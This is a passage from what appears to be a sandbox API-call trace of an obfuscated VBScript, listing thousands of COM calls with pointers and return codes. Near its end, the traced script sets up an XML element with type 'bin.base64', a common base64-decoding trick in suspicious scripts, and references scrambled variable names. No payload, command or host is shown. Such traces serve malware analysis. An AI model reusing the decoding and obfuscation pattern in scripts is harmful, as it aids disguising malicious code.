returned 0x0 [0068.891] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ac08 | out: ppvObject=0x14ac08*=0x83fd490) returned 0x0 [0068.891] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14ac80 | out: ppvObject=0x14ac80*=0x0) returned 0x80004002 [0068.891] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.891] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.891] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aca0 | out: ppvObject=0x14aca0*=0x0) returned 0x80004002 [0068.891] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac0c | out: ppvObject=0x14ac0c*=0x83fd480) returned 0x0 [0068.891] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ac08 | out: ppvObject=0x14ac08*=0x83fd490) returned 0x0 [0068.892] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aca0 | out: ppvObject=0x14aca0*=0x0) returned 0x80004002 [0068.892] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.892] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.892] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aca0 | out: ppvObject=0x14aca0*=0x0) returned 0x80004002 [0068.892] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac0c | out: ppvObject=0x14ac0c*=0x83fd480) returned 0x0 [0068.892] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ac08 | out: ppvObject=0x14ac08*=0x83fd490) returned 0x0 [0068.892] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aca0 | out: ppvObject=0x14aca0*=0x0) returned 0x80004002 [0068.892] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.892] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.892] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x3 [0068.892] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14acac | out: ppvObject=0x14acac*=0x0) returned 0x80004002 [0068.892] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac94 | out: ppvObject=0x14ac94*=0x0) returned 0x80004002 [0068.892] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14acb0 | out: ppvObject=0x14acb0*=0x1112ae8) returned 0x0 [0068.893] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac9c | out: ppvObject=0x14ac9c*=0x0) returned 0x80004002 [0068.893] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac64 | out: ppvObject=0x14ac64*=0x83fd480) returned 0x0 [0068.893] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ac60 | out: ppvObject=0x14ac60*=0x83fd490) returned 0x0 [0068.893] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac9c | out: ppvObject=0x14ac9c*=0x0) returned 0x80004002 [0068.893] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.893] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.893] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14acac | out: ppvObject=0x14acac*=0x0) returned 0x80004002 [0068.893] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac64 | out: ppvObject=0x14ac64*=0x83fd480) returned 0x0 [0068.893] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ac60 | out: ppvObject=0x14ac60*=0x83fd490) returned 0x0 [0068.893] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14acac | out: ppvObject=0x14acac*=0x0) returned 0x80004002 [0068.893] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.893] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.893] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aca0 | out: ppvObject=0x14aca0*=0x0) returned 0x80004002 [0068.893] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac64 | out: ppvObject=0x14ac64*=0x83fd480) returned 0x0 [0068.893] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ac60 | out: ppvObject=0x14ac60*=0x83fd490) returned 0x0 [0068.893] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aca0 | out: ppvObject=0x14aca0*=0x0) returned 0x80004002 [0068.893] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.893] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.893] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aca0 | out: ppvObject=0x14aca0*=0x0) returned 0x80004002 [0068.893] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ac64 | out: ppvObject=0x14ac64*=0x83fd480) returned 0x0 [0068.893] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ac60 | out: ppvObject=0x14ac60*=0x83fd490) returned 0x0 [0068.894] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aca0 | out: ppvObject=0x14aca0*=0x0) returned 0x80004002 [0068.894] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.894] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.894] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x3 [0068.894] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x2 [0068.894] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bd3c | out: ppvObject=0x14bd3c*=0x1112ae8) returned 0x0 [0068.894] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14bd40 | out: ppvObject=0x14bd40*=0x0) returned 0x80004002 [0068.894] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bd10 | out: ppvObject=0x14bd10*=0x83fd480) returned 0x0 [0068.894] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bd0c | out: ppvObject=0x14bd0c*=0x83fd490) returned 0x0 [0068.894] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x14bd40 | out: ppvObject=0x14bd40*=0x0) returned 0x80004002 [0068.894] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.894] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.894] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x2 [0068.894] DOMDocument:IUnknown:Release (This=0x55451c) returned 0x1 [0068.894] DOMDocument:IUnknown:QueryInterface (in: This=0x5544f0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bdd0 | out: ppvObject=0x14bdd0*=0x5540f8) returned 0x0 [0068.894] DOMDocument:IUnknown:AddRef (This=0x5540f8) returned 0x2 [0068.895] DOMDocument:IUnknown:Release (This=0x5540f8) returned 0x1 [0068.895] DOMDocument:IUnknown:Release (This=0x5544f0) returned 0x2 [0068.895] DOMDocument:IUnknown:QueryInterface (in: This=0x5540f8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14beb8 | out: ppvObject=0x14beb8*=0x55412c) returned 0x0 [0068.895] DOMDocument:IDispatchEx:GetDispId (in: This=0x55412c, bstrName="CreateElement", grfdex=0x8, pid=0x14bed4 | out: pid=0x14bed4*=41) returned 0x0 [0068.895] DOMDocument:IUnknown:Release (This=0x55412c) returned 0x1 [0068.895] DOMDocument:IUnknown:AddRef (This=0x5540f8) returned 0x2 [0068.895] DOMDocument:IUnknown:QueryInterface (in: This=0x5540f8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bec0 | out: ppvObject=0x14bec0*=0x55412c) returned 0x0 [0068.895] DOMDocument:IDispatchEx:InvokeEx (in: This=0x55412c, id=41, lcid=0x409, wFlags=0x3, pdp=0x14be8c*(rgvarg=([0]=0x83d66f8*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="aux", varVal2=0xbc6)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bfa0, pei=0x14be68, pspCaller=0x846d1c8 | out: pdp=0x14be8c*(rgvarg=([0]=0x83d66f8*(varType=0x8, wReserved1=0x14, wReserved2=0x6748, wReserved3=0x83d, varVal1="aux", varVal2=0xbc6)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x14bfa0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x554700, varVal2=0x0), pei=0x14be68*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0068.895] DOMDocument:IUnknown:Release (This=0x55412c) returned 0x2 [0068.895] DOMDocument:IUnknown:Release (This=0x5540f8) returned 0x1 [0068.895] DOMDocument:IUnknown:QueryInterface (in: This=0x554700, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdb0 | out: ppvObject=0x14bdb0*=0x5546e0) returned 0x0 [0068.896] DOMDocument:IUnknown:Release (This=0x554700) returned 0x1 [0068.896] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0068.896] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x0 [0068.896] ??3@YAXPAX@Z () returned 0x110001 [0068.896] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0068.896] ??3@YAXPAX@Z () returned 0x7f0001 [0068.896] ??3@YAXPAX@Z () returned 0x200001 [0068.896] ??3@YAXPAX@Z () returned 0x740001 [0068.896] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.897] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.897] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.897] GetCurrentThreadId () returned 0xd44 [0068.897] IUnknown:Release (This=0x1197760) returned 0x6 [0068.897] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.897] malloc (_Size=0x804) returned 0x8790008 [0068.897] ??2@YAPAXI@Z () returned 0x8460768 [0068.897] ??3@YAXPAX@Z () returned 0x1 [0068.897] malloc (_Size=0x204) returned 0x8790818 [0068.897] malloc (_Size=0x40) returned 0x1197838 [0068.897] malloc (_Size=0x124) returned 0x83cedd8 [0068.897] ??2@YAPAXI@Z () returned 0x1129260 [0068.897] free (_Block=0x83d08e0) [0068.897] free (_Block=0x8790008) [0068.897] ??3@YAXPAX@Z () returned 0x740001 [0068.897] free (_Block=0x1197838) [0068.898] free (_Block=0x8790818) [0068.898] free (_Block=0x11c7d90) [0068.898] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.898] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.898] IUnknown:AddRef (This=0x1197760) returned 0x7 [0068.898] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0068.898] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0068.898] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14beb8 | out: ppvObject=0x14beb8*=0x5546e0) returned 0x0 [0068.898] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="DataType", grfdex=0x8, pid=0x14bed4 | out: pid=0x14bed4*=26) returned 0x0 [0068.898] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0068.898] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0068.898] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bec0 | out: ppvObject=0x14bec0*=0x5546e0) returned 0x0 [0068.899] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=26, lcid=0x409, wFlags=0x4, pdp=0x14be8c*(rgvarg=([0]=0x14bdc8*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14be88*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14be68, pspCaller=0x846d1c8 | out: pdp=0x14be8c*(rgvarg=([0]=0x14bdc8*(varType=0x8, wReserved1=0x11c, wReserved2=0x2b, wReserved3=0x0, varVal1="bin.base64", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14be88*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x14be68*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0068.899] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0068.899] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0068.899] ??3@YAXPAX@Z () returned 0x7f0001 [0068.899] ??3@YAXPAX@Z () returned 0x200001 [0068.899] ??3@YAXPAX@Z () returned 0x740001 [0068.899] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.899] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartyzx", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.899] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartyzx", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.899] GetCurrentThreadId () returned 0xd44 [0068.899] IUnknown:Release (This=0x1197760) returned 0x6 [0068.899] malloc (_Size=0x404) returned 0x11c20a0 [0068.900] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.900] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vartx", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.900] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vartx", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.900] GetCurrentThreadId () returned 0xd44 [0068.900] IUnknown:Release (This=0x1197760) returned 0x6 [0068.900] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.900] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14c0fc | out: pid=0x14c0fc*=1360216) returned 0x80020006 [0068.900] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=-1) returned 0x80020006 [0068.900] GetCurrentThreadId () returned 0xd44 [0068.901] IUnknown:Release (This=0x1197760) returned 0x6 [0068.901] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0e0 | out: ppvObject=0x14c0e0*=0x1197760) returned 0x0 [0068.901] IDispatchEx:GetDispId 